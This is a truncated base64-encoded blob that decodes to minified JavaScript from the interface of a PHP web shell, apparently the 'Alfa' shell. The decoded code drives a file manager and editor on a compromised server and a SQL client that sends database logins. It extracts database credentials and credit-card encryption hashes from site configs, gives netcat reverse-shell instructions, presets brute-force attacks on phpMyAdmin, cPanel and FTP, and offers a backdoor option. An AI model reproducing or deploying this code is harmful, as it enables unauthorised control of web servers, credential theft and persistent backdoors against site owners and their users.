307dmFyIGU9bmV3IEZvcm1EYXRhKGEpO2Iub3BlbigiUE9TVCIsZC5VUkwpLGIuc2VuZChlKX19ZnVuY3Rpb24gZyhhLGMsYWxmYTEsYWxmYTIsYWxmYTMsYWxmYTQsYWxmYTUsYWxmYTYsYWxmYTcsYWxmYTgsYWxmYTksYWxmYTEwLGNoYXJzZXQpe3NldChhLGMsYWxmYTEsYWxmYTIsYWxmYTMsYWxmYTQsYWxmYTUsYWxmYTYsYWxmYTcsYWxmYTgsYWxmYTksYWxmYTEwLGNoYXJzZXQpLCJHZXRDb25maWciIT1hJiYiZG93bmxvYWQiIT1hbGZhMiYmKGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiYWpheGFyZWEiKVswXS5pbm5lckhUTUw9XCc8Y2VudGVyPjxiciAvPjxpbWcgaWQ9ImFsZmFsb2FkZXIiIHNyYz0iJy5fX3Nob3dpY29uKCdsb2FkZXInKS4nIj48L2ltZz48YnIgLz48YnIgLz48L2NlbnRlcj5cJyksaXNsaW51eCYmIi8iIT1kLm1mLmMudmFsdWUuc3Vic3RyKDAsMSkmJihkLm1mLmMudmFsdWU9Ii8iK2QubWYuYy52YWx1ZSk7Zm9yKHZhciBkYXRhPSJhPSIrYWxmYWI2NChhKSsiJmM9IithbGZhYjY0KGQubWYuYy52YWx1ZSkrIiYiLGk9MTtpPD0xMDtpKyspZGF0YSs9ImFsZmEiK2krIj0iK2FsZmFiNjQoZXZhbCgiZC5tZi5hbGZhIitpKyIudmFsdWUiKSkrIiYiO2lmKGRhdGErPSImYWpheD0iK2FsZmFiNjQoInRydWUiKSwiRmlsZXNUb29scyI9PWEmJiJkb3dubG9hZCI9PWFsZmEyKXt2YXIgZGw9JCgiZGxGb3JtIik7cmV0dXJuIGRsLmEudmFsdWU9YWxmYWI2NCgiZGxmaWxlIiksZGwuYy52YWx1ZT1hbGZhYjY0KGQubWYuYy52YWx1ZSksZGwuZmlsZS52YWx1ZT1hbGZhYjY0KGFsZmExKSx2b2lkIGRsLnN1Ym1pdCgpfSJHZXRDb25maWciIT1hPyhfQWpheChkLlVSTCxkYXRhKSxjIT1jXyYmYyYmaW5pdERpcihjKSk6KGFsZmFsb2FkZXIoImJsb2NrIiksX0FqYXgoZC5VUkwsZGF0YSxmdW5jdGlvbihhKXt0cnl7YT1KU09OLnBhcnNlKGEpLGEuaG9zdCYmYS51c2VyJiZhLmRibmFtZSYmKCQoImRiX2hvc3QiKSYmKCQoImRiX2hvc3QiKS52YWx1ZT1hLmhvc3QpLCQoImRiX3VzZXIiKSYmKCQoImRiX3VzZXIiKS52YWx1ZT1hLnVzZXIpLCQoImRiX25hbWUiKSYmKCQoImRiX25hbWUiKS52YWx1ZT1hLmRibmFtZSksJCgiZGJfcHciKSYmKCQoImRiX3B3IikudmFsdWU9YS5wYXNzd29yZCksJCgiZGJfcHJlZml4IikmJmEucHJlZml4JiYoJCgiZGJfcHJlZml4IikudmFsdWU9YS5wcmVmaXgpLCQoImNjX2VuY3J5cHRpb25faGFzaCIpJiZhLmNjX2VuY3J5cHRpb25faGFzaCYmKCQoImNjX2VuY3J5cHRpb25faGFzaCIpLnZhbHVlPWEuY2NfZW5jcnlwdGlvbl9oYXNoKSl9Y2F0Y2goYSl7fWFsZmFsb2FkZXIoIm5vbmUiKX0pKX1mdW5jdGlvbiBhbGZhbG9hZGVyKGEpeyQoImFfbG9hZGVyIikuc3R5bGUuZGlzcGxheT1hfWZ1bmN0aW9uIGZzdShhKXthbGZhbG9hZGVyKCJibG9jayIpO2Zvcih2YXIgYj17fSxjPTA7YzxhLmVsZW1lbnRzLmxlbmd0aDtjKyspInN1Ym1pdCIhPWEuZWxlbWVudHNbY10udHlwZSYmKGJbYS5lbGVtZW50c1tjXS5uYW1lXT1hLmVsZW1lbnRzW2NdLnZhbHVlKTtmb3IoYyBpbiBteXNxbF9jYWNoZSlteXNxbF9jYWNoZVtjXT1hbGZhYjY0KG15c3FsX2NhY2hlW2NdKTtfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoIlNxbCIpKyImYWxmYTE9IithbGZhYjY0KCJ1cGRhdGUiKSsiJmFsZmEyPSIrYWxmYWI2NChKU09OLnN0cmluZ2lmeShiKSkrIiZjPSIrYWxmYWI2NChjXykrIiZjaGFyc2V0PSIrbXlzcWxfY2FjaGUuY2hhcnNldCsiJnR5cGU9IitteXNxbF9jYWNoZS50eXBlKyImc3FsX2hvc3Q9IitteXNxbF9jYWNoZS5ob3N0KyImc3FsX2xvZ2luPSIrbXlzcWxfY2FjaGUudXNlcisiJnNxbF9wYXNzPSIrbXlzcWxfY2FjaGUucGFzcysiJnNxbF9iYXNlPSIrbXlzcWxfY2FjaGUuZGIrIiZzcWxfY291bnQ9IitteXNxbF9jYWNoZS5jb3VudCsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksZnVuY3Rpb24oYSl7ZXZhbEpTKGEpLGFsZmFsb2FkZXIoIm5vbmUiKX0sITApfWZ1bmN0aW9uIGZzKGYsZSl7YWxmYWxvYWRlcigiYmxvY2siKTt2YXIgYWxmYTE9InF1ZXJ5IixhbGZhMj1mLnF1ZXJ5P2FsZmFiNjQoZi5xdWVyeS52YWx1ZSk6IiIsaG9zdD1mLnNxbF9ob3N0P2Yuc3FsX2hvc3QudmFsdWU6bXlzcWxfY2FjaGUuaG9zdCx1c2VyPWYuc3FsX2xvZ2luP2Yuc3FsX2xvZ2luLnZhbHVlOm15c3FsX2NhY2hlLnVzZXIscGFzcz1mLnNxbF9wYXNzP2Yuc3FsX3Bhc3MudmFsdWU6bXlzcWxfY2FjaGUucGFzcyxkYj1mLnNxbF9iYXNlP2Yuc3FsX2Jhc2UudmFsdWU6bXlzcWxfY2FjaGUuZGIsdHlwZT1mLnR5cGU/Zi50eXBlLnZhbHVlOm15c3FsX2NhY2hlLnR5cGUsY2hhcnNldD1mLmNoYXJzZXQ/Zi5jaGFyc2V0LnZhbHVlOm15c3FsX2NhY2hlLmNoYXJzZXQsY291bnQ9IiI7c3dpdGNoKGNvdW50PWYuc3FsX2NvdW50P2Yuc3FsX2NvdW50LmNoZWNrZWQ/InRydWUiOiIiOm15c3FsX2NhY2hlLmNvdW50LGYpe2Nhc2UiMCI6YWxmYTE9InNlbGVjdCIsYWxmYTI9YWxmYWI2NChlKTticmVhaztjYXNlIjEiOmU9ZXZhbChlKSxhbGZhMT0ic2VsZWN0IixhbGZhMj1hbGZhYjY0KGVbMF0pKyImYWxmYTM9IithbGZhYjY0KGVbMV0pO2JyZWFrO2Nhc2UiMiI6ZT1ldmFsKGUpLGFsZmExPSJlZGl0IixhbGZhMj1hbGZhYjY0KGRiKSsiJmFsZmEzPSIrYWxmYWI2NChlLmpvaW4oIjoiKSk7YnJlYWs7Y2FzZSIzIjphbGZhMT0ibG9hZGZpbGUiLGFsZmEyPWFsZmFiNjQoZSk7YnJlYWs7Y2FzZSI0IjpjYXNlIjUiOmFsZmExPShmPT0iNCI/ImR1bXBmaWxlIjoiZHJvcHRibCIpO3ZhciBvYmo9e30saWQ9JCgiZHVtcGZpbGUiKTtmb3Iob2JqLmZpbGU9aWQ/aWQudmFsdWU6ImR1bXAuc3FsIixvYmoudGJsPVtdLGk9MDtpPGQuc2YuZWxlbWVudHNbInRibFtdIl0ubGVuZ3RoOysraSlkLnNmLmVsZW1lbnRzWyJ0YmxbXSJdW2ldLmNoZWNrZWQmJm9iai50YmwucHVzaChkLnNmLmVsZW1lbnRzWyJ0YmxbXSJdW2ldLnZhbHVlKTthbGZhMj1hbGZhYjY0KEpTT04uc3RyaW5naWZ5KG9iaikpfV9BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgiU3FsIikrIiZhbGZhMT0iK2FsZmFiNjQoYWxmYTEpKyImYWxmYTI9IithbGZhMisiJmM9IithbGZhYjY0KGNfKSsiJmNoYXJzZXQ9IithbGZhYjY0KGNoYXJzZXQpKyImdHlwZT0iK2FsZmFiNjQodHlwZSkrIiZzcWxfaG9zdD0iK2FsZmFiNjQoaG9zdCkrIiZzcWxfbG9naW49IithbGZhYjY0KHVzZXIpKyImc3FsX3Bhc3M9IithbGZhYjY0KHBhc3MpKyImc3FsX2Jhc2U9IithbGZhYjY0KGRiKSsiJnNxbF9jb3VudD0iK2FsZmFiNjQoY291bnQpKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxmdW5jdGlvbihhKXtldmFsSlMoYSksYWxmYWxvYWRlcigibm9uZSIpfSwhMCl9ZnVuY3Rpb24gY3RsYmMoYSl7dmFyIGI9JCgiYmNTdGF0dXMiKSxjPSQoImJjaXBBY3Rpb24iKTsiYmluZCI9PWEudmFsdWU/KGMuc3R5bGUuZGlzcGxheT0ibm9uZSIsYi5pbm5lckhUTUw9IjxzbWFsbD5QcmVzcyBgIDxmb250IGNvbG9yPVwncmVkXCc+Pj48L2ZvbnQ+IGAgYnV0dG9uIGFuZCBydW4gYCA8Zm9udCBjb2xvcj1cJ3JlZFwnPm5jIHNlcnZlcl9pcCBwb3J0PC9mb250PiBgIG9uIHlvdXIgY29tcHV0ZXI8L3NtYWxsPiIpOihjLnN0eWxlLmRpc3BsYXk9ImlubGluZS1ibG9jayIsYi5pbm5lckhUTUw9IjxzbWFsbD5SdW4gYCA8Zm9udCBjb2xvcj1cJ3JlZFwnPm5jIC1sIC12IC1wIHBvcnQ8L2ZvbnQ+IGAgb24geW91ciBjb21wdXRlciBhbmQgcHJlc3MgYCA8Zm9udCBjb2xvcj1cJ3JlZFwnPj4+PC9mb250PiBgIGJ1dHRvbjwvc21hbGw+Iil9ZnVuY3Rpb24gaXMoKXtmb3IoaT0wO2k8ZC5zZi5lbGVtZW50c1sidGJsW10iXS5sZW5ndGg7KytpKWQuc2YuZWxlbWVudHNbInRibFtdIl1baV0uY2hlY2tlZD0hZC5zZi5lbGVtZW50c1sidGJsW10iXVtpXS5jaGVja2VkfWZ1bmN0aW9uICQoYSl7cmV0dXJuIGQuZ2V0RWxlbWVudEJ5SWQoYSl9ZnVuY3Rpb24gYWRkbmV3dXAoKXt2YXIgYT0iZm9vdGVydXBfIit1cGNvdW50LGI9InBmb290ZXJ1cF8iK3VwY291bnQsYz0xIT11cGNvdW50PyJwZm9vdGVydXBfIisodXBjb3VudC0xKToicGZvb3RlcnVwIixlPWQuY3JlYXRlRWxlbWVudCgicCIpO2UuaW5uZXJIVE1MPVwnPGxhYmVsIGNsYXNzPSJpbnB1dGZpbGUiIGZvcj0iXCcrYStcJyI+PHNwYW4gaWQ9Il9fZm5hbWV1cFwnK3VwY291bnQrXCciPjwvc3Bhbj4gPHN0cm9uZz4mbmJzcDsmbmJzcDtDaG9vc2UgYSBmaWxlPC9zdHJvbmc+PC9sYWJlbD48aW5wdXQgaWQ9IlwnK2ErXCciIHR5cGU9ImZpbGUiIG5hbWU9ImZbXSIgb25DaGFuZ2U9ImhhbmRsZXVwKHRoaXMsXCcrdXBjb3VudCtcJyk7Ij5cJyxlLmlkPWIsZS5hcHBlbmRBZnRlcigkKGMpKSx1cGNvdW50Kyt9ZnVuY3Rpb24gYWxmYV9zZWFyY2hlcl90b29sKGEpe3N3aXRjaChhKXtjYXNlImFsbCI6Y2FzZSJkaXJzIjpfYWxmYVNldCghMCwiRGlzYWJsZWQiKTticmVhaztjYXNlImZpbGVzIjpfYWxmYVNldCghMSwicGhwIil9fWZ1bmN0aW9uIF9hbGZhU2V0KGEsYil7ZC5zcmNoLmV4dC5kaXNhYmxlZD1hLGQuc3JjaC5leHQudmFsdWU9Yn1mdW5jdGlvbiBkaXNfaW5wdXQoYSl7c3dpdGNoKGEpe2Nhc2UicGhwbXlhZG1pbiI6YnJ1dGVTZXQoITAsIkRpc2FibGVkIiwiaHR0cDovLyIpO2JyZWFrO2Nhc2UiZGlyZWN0IjpicnV0ZVNldCghMSwiMjIyMiIsImh0dHA6Ly8iKTticmVhaztjYXNlImNwIjpicnV0ZVNldCghMSwiMjA4MiIsImh0dHA6Ly8iKTticmVhaztjYXNlImZ0cCI6YnJ1dGVTZXQoITAsIkRpc2FibGVkIiwiZnRwOi8vIik7YnJlYWs7Y2FzZSJteXNxbCI6YnJ1dGVTZXQoITEsIjMzMDYiLCJodHRwOi8vIik7YnJlYWs7Y2FzZSJmdHBjIjpicnV0ZVNldCghMSwiMjEiLCJodHRwOi8vIil9fWZ1bmN0aW9uIGJydXRlU2V0KGEsYixkKXsiMjEiIT1iP2M9ImxvY2FsaG9zdCI6Yz0iZnRwLmV4YW1wbGUuY29tIiwkKCJwb3J0IikuZGlzYWJsZWQ9YSwkKCJwb3J0IikudmFsdWU9YiwkKCJ0YXJnZXQiKS52YWx1ZT1jLCQoInByb3RvY29sIikudmFsdWU9ZH1FbGVtZW50LnByb3RvdHlwZS5hcHBlbmRBZnRlcj1mdW5jdGlvbihhKXthLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKHRoaXMsYS5uZXh0U2libGluZyl9O2Z1bmN0aW9uIGluQmFja2Rvb3IodCl7aWYodC52YWx1ZT09Im15Iil7JCgiYmFja2Rvb3JfdGV4dGFyZWEiKS5zdHlsZS5kaXNwbGF5PSJibG9jayI7fWVsc2V7JCgiYmFja2Rvb3JfdGV4dGFyZWEiKS5zdHlsZS5kaXNwbGF5PSJub25lIjt9fWZ1bmN0aW9uIHNhdmVCeUtleShlKXtyZXR1cm4hKCJzIj09U3RyaW5nLmZyb21DaGFyQ29kZShlLndoaWNoKS50b0xvd2VyQ2FzZSgpJiZlLmN0cmxLZXl8fDE5PT1lLndoaWNoKXx8KCQoImVkaXRvcl9lZGl0X2FyZWEiKS5vbnN1Ym1pdCgpLGUucHJldmVudERlZmF1bHQoKSwhMSl9ZnVuY3Rpb24gc2V0Q29va2llKGUsaSx0KXt2YXIgbD1uZXcgRGF0ZTtsLnNldFRpbWUobC5nZXRUaW1lKCkrMjQqdCo2MCo2MCoxZTMpO3ZhciBvPSJleHBpcmVzPSIrbC50b1VUQ1N0cmluZygpO2RvY3VtZW50LmNvb2tpZT1lKyI9IitpKyI7IitvKyI7cGF0aD0vIn1mdW5jdGlvbiBnZXRDb29raWUoZSl7dmFyIGk9KCI7ICIrZG9jdW1lbnQuY29va2llKS5zcGxpdCgiOyAiK2UrIj0iKTtpZigyPT1pLmxlbmd0aClyZXR1cm4gaS5wb3AoKS5zcGxpdCgiOyIpLnNoaWZ0KCl9ZnVuY3Rpb24gZWRpdG9yQ2xvc2UoZSl7ZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJ2aXNpYmxlIixlbGVtPSQoZSksZWxlbS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiZWRpdG9yLWFuaW0tY2xvc2UiKSwiZWRpdG9yIj09ZT9pc19taW5pbWl6ZWQ9ITE6Y2dpX2lzX21pbmltaXplZD0hMSxzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZWxlbS5yZW1vdmVBdHRyaWJ1dGUoImNsYXNzIiksZWxlbS5zdHlsZS5kaXNwbGF5PSJub25lIn0sMWUzKSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9InZpc2libGUifWZ1bmN0aW9uIHNob3dFZGl0b3IoZSl7JChlKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiZWRpdG9yLWFuaW0tc2hvdyIpLCQoZSsiLW1pbmltaXplZCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJtaW5pbWl6ZWQtaGlkZSIpLCJlZGl0b3IiPT1lPyhpc19taW5pbWl6ZWQ9ITEsY2dpX2lzX21pbmltaXplZCYmKCQoImNnaWxvYWRlci1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjMwJSIpKTooY2dpX2lzX21pbmltaXplZD0hMSxpc19taW5pbWl6ZWQmJigkKCJlZGl0b3ItbWluaW1pemVkIikuc3R5bGUudG9wPSIzMCUiKSksZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJoaWRkZW4ifWZ1bmN0aW9uIGVkaXRvck1pbmltaXplKGUpeyQoZSkuc2V0QXR0cmlidXRlKCJjbGFzcyIsImVkaXRvci1hbmltLW1pbmltaXplIiksJChlKyItbWluaW1pemVkIikuc2V0QXR0cmlidXRlKCJjbGFzcyIsIm1pbmltaXplZC1zaG93IiksImVkaXRvciI9PWU/KGlzX21pbmltaXplZD0hMCxjZ2lfaXNfbWluaW1pemVkPygkKCJjZ2lsb2FkZXItbWluaW1pemVkIikuc3R5bGUudG9wPSIyMCUiLCQoImVkaXRvci1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjUwJSIpOiQoImVkaXRvci1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjMwJSIpOihjZ2lfaXNfbWluaW1pemVkPSEwLGlzX21pbmltaXplZD8oJCgiY2dpbG9hZGVyLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMjAlIiwkKCJlZGl0b3ItbWluaW1pemVkIikuc3R5bGUudG9wPSI1MCUiKTokKCJjZ2lsb2FkZXItbWluaW1pemVkIikuc3R5bGUudG9wPSIzMCUiKSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9InZpc2libGUifWZ1bmN0aW9uIGNsZWFyRWRpdG9ySGlzdG9yeSgpe2lmKGNvbmZpcm0oIkFyZSB1IFN1cmU/IikpZm9yKHZhciBlIGluIGVkaXRvcl9maWxlcyllIT1lZGl0b3JfY3VycmVudF9maWxlJiZyZW1vdmVIaXN0b3J5KGUpfWZ1bmN0aW9uIGVkaXRvcihlLGksdCxsLG8sYSl7aWYoImRpciI9PWEmJiIuLiI9PWUpcmV0dXJuITE7aWYoImRvd25sb2FkIj09aSlyZXR1cm4gZygiRmlsZXNUb29scyIsbCxlLCJkb3dubG9hZCIpLCExO3ZhciByPSIiLG49IiIscz0iIixmPWQubWYuYy52YWx1ZSxjPSEwO2lmKGU9ZS50cmltKCksMD09T2JqZWN0LmtleXMoZWRpdG9yX2ZpbGVzKS5sZW5ndGgpe3ZhciBtPWdldENvb2tpZSgiYWxmYV9oaXN0b3J5X2ZpbGVzIik7dHJ5e2VkaXRvcl9maWxlcz1KU09OLnBhcnNlKG0pO2Zvcih2YXIgdSBpbiBlZGl0b3JfZmlsZXMpaW5zZXJ0VG9IaXN0b3J5KHUsZWRpdG9yX2ZpbGVzW3VdLmZpbGUsMCxlZGl0b3JfZmlsZXNbdV0udHlwZSl9Y2F0Y2goZSl7fX1pZigtMSE9ZS5pbmRleE9mKCIvIikpe3ZhciBwPWUuc3BsaXQoIi8iKTtlPXBbcC5sZW5ndGgtMV0sZGVsZXRlIHBbcC5sZW5ndGgtMV0sZj1wLmpvaW4oIi8iKSxpc2xpbnV4JiYoZj0iLyIrZil9dm9pZCAwPT09YSYmKGE9IiIpLHZvaWQgMCE9PWwmJm51bGwhPWwmJjAhPWwubGVuZ3RoJiYoZj1sLnRyaW0oKSk7dHJ5e2Zvcih2YXIgdiBpbiBlZGl0b3JfZmlsZXMpaWYoZWRpdG9yX2ZpbGVzW3ZdLmZpbGU9PWRlY29kZVVSSUNvbXBvbmVudChlKSYmZWRpdG9yX2ZpbGVzW3ZdLnB3ZC5yZXBsYWNlKC9cLy9nLCIiKT09Zi5yZXBsYWNlKC9cLy9nLCIiKSl7Yz0hMSxvPXY7YnJlYWt9fWNhdGNoKGUpe2NvbnNvbGUubG9nKGUpfWlmKGVkaXRvcl9lcnJvcj0hMCx2b2lkIDAhPT10JiYwIT10Lmxlbmd0aCYmbnVsbCE9dCYmKHI9YWxmYWI2NCh0KSksdm9pZCAwIT09byYmbnVsbCE9byYmMCE9by5sZW5ndGgpbj1hbGZhYjY0KG8pLHM9bztlbHNle3ZhciBfPSJmaWxlXyIrZ2V0UmFuZG9tKDEwKTtuPWFsZmFiNjQoXykscz1ffXJldHVybiBhbGZhbG9hZGVyKCJibG9jayIpLF9BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgiRmlsZXNUb29scyIpKyImYz0iK2FsZmFiNjQoZikrIiZhbGZhMT0iK2FsZmFiNjQoZSkrIiZhbGZhMj0iK2FsZmFiNjQoaSkrIiZhbGZhMz0iK3IrIiZhbGZhND0iK24rIiZhbGZhNT0mYWxmYTY9JmFsZmE3PSZhbGZhOD0mYWxmYTk9JmFsZmExMD0mJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksZnVuY3Rpb24odCl7aWYoZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1jb250ZW50IikuaW5uZXJIVE1MPXQsJCgiZWRpdG9yIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGFsZmFsb2FkZXIoIm5vbmUiKSxldmFsSlModCksImRlbGV0ZSIhPWkmJmVkaXRvcl9lcnJvcil7dmFyIGw9ZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJpc19hY3RpdmUiKTswIT1sLmxlbmd0aCYmKGxbMF0uY2xhc3NOYW1lPSJmaWxlLWhvbGRlciIpLG49cyxlPWRlY29kZVVSSUNvbXBvbmVudChlKSwhZWRpdG9yX2ZpbGVzW25dJiZjPyhlZGl0b3JfZmlsZXNbbl09e2ZpbGU6ZSxwd2Q6Zix0eXBlOmF9LGluc2VydFRvSGlzdG9yeShuLGUsIiBpc19hY3RpdmUiLGEpLCJta2ZpbGUiPT1pJiZnKCJGaWxlc01hbiIsbnVsbCkpOiQobikucGFyZW50Tm9kZS5jbGFzc05hbWUrPSIgaXNfYWN0aXZlIn1kLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiIsZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJmaWxlc3Rvb2xzIilbMF0uc2V0QXR0cmlidXRlKCJmaWQiLG4pLGVkaXRvcl9maWxlc1tuXSYmKGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZWRpdG9yLXBhdGgiKVswXS5pbm5lckhUTUw9KGVkaXRvcl9maWxlc1tuXS5wd2QrIi8iK2VkaXRvcl9maWxlc1tuXS5maWxlKS5yZXBsYWNlKC9cL1wvL2csIi8iKSksZWRpdG9yX2N1cnJlbnRfZmlsZT1uLGlzX21pbmltaXplZCYmc2hvd0VkaXRvcigiZWRpdG9yIiksdXBkYXRlQ29va2llRWRpdG9yKCl9KSwhMX1mdW5jdGlvbiBpbnNlcnRUb0hpc3RvcnkoZSxpLHQsbCl7dmFyIG89IiI7dCYmMCE9dCYmKG89dCk7dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7YS5pbm5lckhUTUw9IjxkaXYgaWQ9XCciK2UrIlwnIGNsYXNzPVwnaGlzdG9yeVwnIG9uQ2xpY2s9XCdyZW9wZW4odGhpcyk7XCc+PGRpdiBjbGFzcz1cJ2VkaXRvci1pY29uXCc+Iitsb2FkVHlwZShpLGwsZSkrIjwvZGl2PjxkaXYgY2xhc3M9XCdlZGl0b3ItZmlsZS1uYW1lXCc+IitpKyI8L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPVwnaGlzdG9yeS1jbG9zZVwnIG9uQ2xpY2s9XCdyZW1vdmVIaXN0b3J5KFwiIitlKyJcIik7XCc+WDwvZGl2PiIsYS5jbGFzc05hbWU9ImZpbGUtaG9sZGVyIitvLGEuYWRkRXZlbnRMaXN0ZW5lcigibW91c2VvdmVyIixmdW5jdGlvbigpe3NldEVkaXRvclRpdGxlKGUsIm92ZXIiKSx0aGlzLmNoaWxkTm9kZXNbMV0uc3R5bGUub3BhY2l0eT0iMSJ9KSxhLmFkZEV2ZW50TGlzdGVuZXIoIm1vdXNlb3V0IixmdW5jdGlvbigpe3NldEVkaXRvclRpdGxlKGUsIm91dCIpLHRoaXMuY2hpbGROb2Rlc1sxXS5zdHlsZS5vcGFjaXR5PSIwIn0pO3ZhciByPWQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiaGlzdG9yeS1saXN0IilbMF07ci5pbnNlcnRCZWZvcmUoYSxyLmZpcnN0Q2hpbGQpfWZ1bmN0aW9uIGxvYWRUeXBlKGUsaSx0KXsibm9uZSI9PWkmJl9BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgiY2hlY2tmaWxldHlwZSIpKyImcGF0aD0iK2FsZmFiNjQoZWRpdG9yX2ZpbGVzW3RdLnB3ZCkrIiZhcmc9IithbGZhYjY0KGVkaXRvcl9maWxlc1t0XS5maWxlKSxmdW5jdGlvbihlKXskKHQpLmlubmVySFRNTD0iPGRpdiBjbGFzcz1cJ2VkaXRvci1pY29uXCc+Iitsb2FkVHlwZShlZGl0b3JfZmlsZXNbdF0uZmlsZSxlLHQpKyI8L2Rpdj48ZGl2IGNsYXNzPVwnZWRpdG9yLWZpbGUtbmFtZVwnPiIrZWRpdG9yX2ZpbGVzW3RdLmZpbGUrIjwvZGl2PiIsZWRpdG9yX2ZpbGVzW3RdLnR5cGU9ZX0pO3JldHVybiJmaWxlIj09aT8oaT0oaT1lLnNwbGl0KCIuIikpW2kubGVuZ3RoLTFdLnRvTG93ZXJDYXNlKCksLTE9PVsianNvbiIsInBwdCIsInBwdHgiLCJ4bHMiLCJ4bHN4IiwibXNpIiwiY29uZmlnIiwiY2dpIiwicG0iLCJjIiwiY3BwIiwiY3MiLCJqYXZhIiwiYXNweCIsImFzcCIsImRiIiwidHRmIiwiZW90Iiwid29mZiIsIndvZmYyIiwid29mZiIsImNvbmYiLCJsb2ciLCJhcGsiLCJjYWIiLCJiejIiLCJ0Z3oiLCJkbWciLCJpem8iLCJqYXIiLCI3eiIsImlzbyIsInJhciIsImJhdCIsInNoIiwiYWxmYSIsImd6IiwidGFyIiwicGhwIiwicGhwNCIsInBocDUiLCJwaHRtbCIsImh0bWwiLCJ4aHRtbCIsInNodG1sIiwiaHRtIiwiemlwIiwicG5nIiwianBnIiwianBlZyIsImdpZiIsImJtcCIsImljbyIsInR4dCIsImpzIiwicmIiLCJweSIsInhtbCIsImNzcyIsInNxbCIsImh0YWNjZXNzIiwicGwiLCJpbmkiLCJkbGwiLCJleGUiLCJtcDMiLCJtcDQiLCJtNGEiLCJtb3YiLCJmbHYiLCJzd2YiLCJta3YiLCJhdmkiLCJ3bXYiLCJtcGciLCJtcGVnIiwiZGF0IiwicGRmIiwiM2dwIiwiZG9jIiwiZG9jeCIsImRvY20iXS5pbmRleE9mKGkpJiYoaT0ibm90Zm91bmQiKSk6aT0iZm9sZGVyIixcJzxpbWcgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL3t0eXBlfSIgd2lkdGg9IjMwIiBoZWlnaHQ9IjMwIj5cJy5yZXBsYWNlKCJ7dHlwZX0iLGkrIi5wbmciKX1mdW5jdGlvbiB1cGRhdGVEaXJzRWRpdG9yKGUsaSl7dmFyIHQ9ZC5tZi5jLnZhbHVlKyIvIixsPWVkaXRvcl9maWxlc1tlXS5wd2QrIi8iK2krIi8iLG89ZWRpdG9yX2ZpbGVzW2VdLnB3ZCsiLyIrZWRpdG9yX2ZpbGVzW2VdLmZpbGUrIi8iO2w9bC5yZXBsYWNlKC9cL1wvL2csIi8iKSxvPW8ucmVwbGFjZSgvXC9cLy9nLCIvIiksLTEhPSh0PXQucmVwbGFjZSgvXC9cLy9nLCIvIikpLnNlYXJjaChsKSYmKGluaXREaXIodC5yZXBsYWNlKGwsbykpLGQubWYuYy52YWx1ZT10LnJlcGxhY2UobCxvKSxfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoInVwZGF0ZXBhdGgiKSsiJnBhdGg9IithbGZhYjY0KGQubWYuYy52YWx1ZSksZnVuY3Rpb24oZSl7Y29uc29sZS5sb2coZSl9KSk7Zm9yKHZhciBhIGluIGVkaXRvcl9maWxlcyl7dmFyIHI9ZWRpdG9yX2ZpbGVzW2FdLnB3ZCsiLyI7LTEhPShyPXIucmVwbGFjZSgvXC9cLy9nLCIvIikpLnNlYXJjaChsKSYmKGVkaXRvcl9maWxlc1thXS5wd2Q9ci5yZXBsYWNlKGwsbykpfXZhciBuPW5ldyBSZWdFeHAoIlwnIitsLnNsaWNlKDAsLTEpKyJcJyIpLHM9bmV3IFJlZ0V4cChpKyIgXFxcfDwvYj48L2E+Iik7ZC5maWxlcy5pbm5lckhUTUw9ZC5maWxlcy5pbm5lckhUTUwucmVwbGFjZShuLCJcJyIrby5zbGljZSgwLC0xKSsiXCciKSxkLmZpbGVzLmlubmVySFRNTD1kLmZpbGVzLmlubmVySFRNTC5yZXBsYWNlKHMsZWRpdG9yX2ZpbGVzW2VdLmZpbGUrIiB8PC9iPjwvYT4iKSx1cGRhdGVDb29raWVFZGl0b3IoKX1mdW5jdGlvbiB1cGRhdGVDb29raWVFZGl0b3IoKXtzZXRDb29raWUoImFsZmFfaGlzdG9yeV9maWxlcyIsSlNPTi5zdHJpbmdpZnkoZWRpdG9yX2ZpbGVzKSwyMDEyKX1mdW5jdGlvbiBzZXRFZGl0b3JUaXRsZShlLGkpeyJvdXQiPT1pJiYiIiE9ZWRpdG9yX2N1cnJlbnRfZmlsZSYmKGU9ZWRpdG9yX2N1cnJlbnRfZmlsZSksZWRpdG9yX2ZpbGVzW2VdJiYoZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJlZGl0b3ItcGF0aCIpWzBdLmlubmVySFRNTD0oZWRpdG9yX2ZpbGVzW2VdLnB3ZCsiLyIrZWRpdG9yX2ZpbGVzW2VdLmZpbGUpLnJlcGxhY2UoL1wvXC8vZywiLyIpKX1mdW5jdGlvbiByZW1vdmVIaXN0b3J5KGUpe2RlbGV0ZSBlZGl0b3JfZmlsZXNbZV0sJChlKSYmJChlKS5wYXJlbnROb2RlLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoJChlKS5wYXJlbnROb2RlKTt2YXIgaT1kLmdldEVsZW1lbnRzQnlDbGF